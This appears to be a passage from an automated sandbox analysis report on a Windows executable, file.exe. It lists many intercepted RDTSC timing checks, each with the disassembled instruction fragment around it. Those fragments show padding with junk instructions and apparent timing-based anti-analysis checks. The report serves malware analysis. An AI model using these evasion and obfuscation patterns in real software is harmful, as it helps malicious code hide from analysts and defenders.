Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B001C1 second address: 4B001C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B001C7 second address: 4B001F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F22FCB3D169h 0x0000000d jmp 00007F22FCB3D174h 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B001F3 second address: 4B001F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B001F7 second address: 4B00213 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D178h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00213 second address: 4B00218 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00218 second address: 4B0022D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dl, 4Ah 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e movsx edx, cx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0022D second address: 4B00231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00231 second address: 4B00240 instructions: 0x00000000 rdtsc 0x00000002 mov cl, 1Fh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00240 second address: 4B00244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00244 second address: 4B00248 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00248 second address: 4B0024E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0024E second address: 4B00254 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00254 second address: 4B00258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00258 second address: 4B0025C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0025C second address: 4B0027D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007F22FC56C6CBh 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov esi, edi 0x00000017 mov ax, di 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0027D second address: 4B002AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, dx 0x00000006 mov edx, 032309B6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr fs:[00000000h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F22FCB3D178h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B002AB second address: 4B002C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B002C1 second address: 4B002C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B002C7 second address: 4B002F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F22FC56C6D8h 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov bx, 46ACh 0x00000016 mov ax, dx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B002F4 second address: 4B002FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B002FA second address: 4B002FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B002FE second address: 4B00302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00302 second address: 4B0037E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 pushad 0x0000000a jmp 00007F22FC56C6D2h 0x0000000f mov di, si 0x00000012 popad 0x00000013 sub esp, 18h 0x00000016 jmp 00007F22FC56C6CCh 0x0000001b xchg eax, ebx 0x0000001c jmp 00007F22FC56C6D0h 0x00000021 push eax 0x00000022 pushad 0x00000023 mov di, 5004h 0x00000027 pushfd 0x00000028 jmp 00007F22FC56C6CDh 0x0000002d sbb ax, 7B46h 0x00000032 jmp 00007F22FC56C6D1h 0x00000037 popfd 0x00000038 popad 0x00000039 xchg eax, ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F22FC56C6CDh 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0037E second address: 4B00414 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F22FCB3D16Eh 0x0000000f push eax 0x00000010 jmp 00007F22FCB3D16Bh 0x00000015 xchg eax, esi 0x00000016 jmp 00007F22FCB3D176h 0x0000001b xchg eax, edi 0x0000001c jmp 00007F22FCB3D170h 0x00000021 push eax 0x00000022 jmp 00007F22FCB3D16Bh 0x00000027 xchg eax, edi 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F22FCB3D16Bh 0x00000031 sbb ax, 629Eh 0x00000036 jmp 00007F22FCB3D179h 0x0000003b popfd 0x0000003c mov ch, 26h 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00414 second address: 4B0046F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov esi, 68BED675h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [75AF4538h] 0x00000012 pushad 0x00000013 mov dx, cx 0x00000016 pushfd 0x00000017 jmp 00007F22FC56C6CAh 0x0000001c xor al, FFFFFFC8h 0x0000001f jmp 00007F22FC56C6CBh 0x00000024 popfd 0x00000025 popad 0x00000026 xor dword ptr [ebp-08h], eax 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c jmp 00007F22FC56C6CBh 0x00000031 jmp 00007F22FC56C6D8h 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0046F second address: 4B004A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b jmp 00007F22FCB3D16Fh 0x00000010 nop 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F22FCB3D175h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B004A7 second address: 4B004AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B004AD second address: 4B004B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B004B1 second address: 4B004D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F22FC56C6D5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B004D1 second address: 4B00544 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 pushfd 0x00000007 jmp 00007F22FCB3D178h 0x0000000c or eax, 18A25FA8h 0x00000012 jmp 00007F22FCB3D16Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b nop 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push ebx 0x00000020 pop ecx 0x00000021 pushfd 0x00000022 jmp 00007F22FCB3D177h 0x00000027 xor ecx, 391FCD9Eh 0x0000002d jmp 00007F22FCB3D179h 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00544 second address: 4B00589 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c jmp 00007F22FC56C6CEh 0x00000011 mov dword ptr fs:[00000000h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F22FC56C6D7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00589 second address: 4B0058F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0058F second address: 4B005A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-18h], esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B005A0 second address: 4B005A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B005A4 second address: 4B005AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B005AA second address: 4B005B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B005B2 second address: 4B005D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr fs:[00000018h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F22FC56C6D0h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B005D3 second address: 4B005D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B005D9 second address: 4B0060A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F22FC56C6D7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0060A second address: 4B0064E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 2Eh 0x00000005 mov si, EAC7h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c test ecx, ecx 0x0000000e pushad 0x0000000f mov edi, eax 0x00000011 jmp 00007F22FCB3D174h 0x00000016 popad 0x00000017 jns 00007F22FCB3D190h 0x0000001d jmp 00007F22FCB3D170h 0x00000022 add eax, ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0064E second address: 4B00652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00652 second address: 4B00658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF00A2 second address: 4AF00A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF00A8 second address: 4AF00DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D16Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F22FCB3D170h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F22FCB3D16Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF00DC second address: 4AF00E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF00E2 second address: 4AF00E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF00E6 second address: 4AF00EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF00EA second address: 4AF0154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F22FCB3D16Fh 0x00000010 adc ch, FFFFFFEEh 0x00000013 jmp 00007F22FCB3D179h 0x00000018 popfd 0x00000019 mov ecx, 4CEABD77h 0x0000001e popad 0x0000001f xchg eax, edi 0x00000020 pushad 0x00000021 jmp 00007F22FCB3D178h 0x00000026 mov esi, 3C5450F1h 0x0000002b popad 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F22FCB3D16Ah 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0154 second address: 4AF016B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov ax, 1BD1h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF016B second address: 4AF01A1 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 4BF2A40Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushfd 0x0000000c jmp 00007F22FCB3D178h 0x00000011 add eax, 53F5D558h 0x00000017 jmp 00007F22FCB3D16Bh 0x0000001c popfd 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF021F second address: 4AF0225 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0225 second address: 4AF026B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, 00000000h 0x0000000d pushad 0x0000000e mov dx, si 0x00000011 mov eax, 21AF3FB5h 0x00000016 popad 0x00000017 inc ebx 0x00000018 pushad 0x00000019 mov edi, eax 0x0000001b mov bl, cl 0x0000001d popad 0x0000001e test al, al 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F22FCB3D16Eh 0x00000029 or si, E938h 0x0000002e jmp 00007F22FCB3D16Bh 0x00000033 popfd 0x00000034 push ecx 0x00000035 pop edx 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF026B second address: 4AF02D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov dh, CBh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F22FC56C8A6h 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F22FC56C6D6h 0x00000017 adc ecx, 0311E2C8h 0x0000001d jmp 00007F22FC56C6CBh 0x00000022 popfd 0x00000023 push esi 0x00000024 jmp 00007F22FC56C6CFh 0x00000029 pop esi 0x0000002a popad 0x0000002b lea ecx, dword ptr [ebp-14h] 0x0000002e jmp 00007F22FC56C6CFh 0x00000033 mov dword ptr [ebp-14h], edi 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 mov bh, D2h 0x0000003b push ecx 0x0000003c pop edx 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF02E9 second address: 4AF02ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF02ED second address: 4AF02F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF02F1 second address: 4AF02F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF02F7 second address: 4AF031C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F22FC56C6CDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF031C second address: 4AF0322 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0322 second address: 4AF0326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0326 second address: 4AF0340 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F22FCB3D16Bh 0x00000011 push esi 0x00000012 pop edi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0340 second address: 4AF0360 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0360 second address: 4AF0364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0364 second address: 4AF0377 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF03BA second address: 4AF03C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF03C0 second address: 4AF03C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF04FA second address: 4AF0501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0501 second address: 4AF0540 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov cx, 390Dh 0x0000000f mov esi, 2DAA5909h 0x00000014 popad 0x00000015 push eax 0x00000016 jmp 00007F22FC56C6CFh 0x0000001b xchg eax, ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F22FC56C6D0h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0540 second address: 4AF0546 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF056C second address: 4AF057B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0E6A second address: 4AE0EEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F22FCB3D177h 0x00000009 sub ah, 0000006Eh 0x0000000c jmp 00007F22FCB3D179h 0x00000011 popfd 0x00000012 push ecx 0x00000013 pop edi 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ecx 0x00000018 pushad 0x00000019 mov eax, 1E776DEFh 0x0000001e movzx esi, di 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007F22FCB3D16Eh 0x00000028 xchg eax, ecx 0x00000029 pushad 0x0000002a movzx esi, di 0x0000002d call 00007F22FCB3D173h 0x00000032 pushad 0x00000033 popad 0x00000034 pop eax 0x00000035 popad 0x00000036 mov dword ptr [ebp-04h], 55534552h 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0EEA second address: 4AE0EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0EEE second address: 4AE0EFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D16Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0F3E second address: 4AE0F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF09E0 second address: 4AF0A1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D175h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75AF459Ch], 05h 0x00000010 jmp 00007F22FCB3D16Eh 0x00000015 je 00007F236DADB157h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push ebx 0x0000001f pop esi 0x00000020 mov dx, 0F9Ch 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0A1E second address: 4AF0A40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov esi, edx 0x0000000f mov edx, 51848BFCh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0A87 second address: 4AF0A8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0A8C second address: 4AF0ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 05A710EBh 0x0000000e pushad 0x0000000f movsx edi, cx 0x00000012 popad 0x00000013 call 00007F236D511799h 0x00000018 push 75A92B70h 0x0000001d push dword ptr fs:[00000000h] 0x00000024 mov eax, dword ptr [esp+10h] 0x00000028 mov dword ptr [esp+10h], ebp 0x0000002c lea ebp, dword ptr [esp+10h] 0x00000030 sub esp, eax 0x00000032 push ebx 0x00000033 push esi 0x00000034 push edi 0x00000035 mov eax, dword ptr [75AF4538h] 0x0000003a xor dword ptr [ebp-04h], eax 0x0000003d xor eax, ebp 0x0000003f push eax 0x00000040 mov dword ptr [ebp-18h], esp 0x00000043 push dword ptr [ebp-08h] 0x00000046 mov eax, dword ptr [ebp-04h] 0x00000049 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000050 mov dword ptr [ebp-08h], eax 0x00000053 lea eax, dword ptr [ebp-10h] 0x00000056 mov dword ptr fs:[00000000h], eax 0x0000005c ret 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 pushad 0x00000061 popad 0x00000062 pushfd 0x00000063 jmp 00007F22FC56C6CFh 0x00000068 adc esi, 4D3BF5EEh 0x0000006e jmp 00007F22FC56C6D9h 0x00000073 popfd 0x00000074 popad 0x00000075 rdtsc
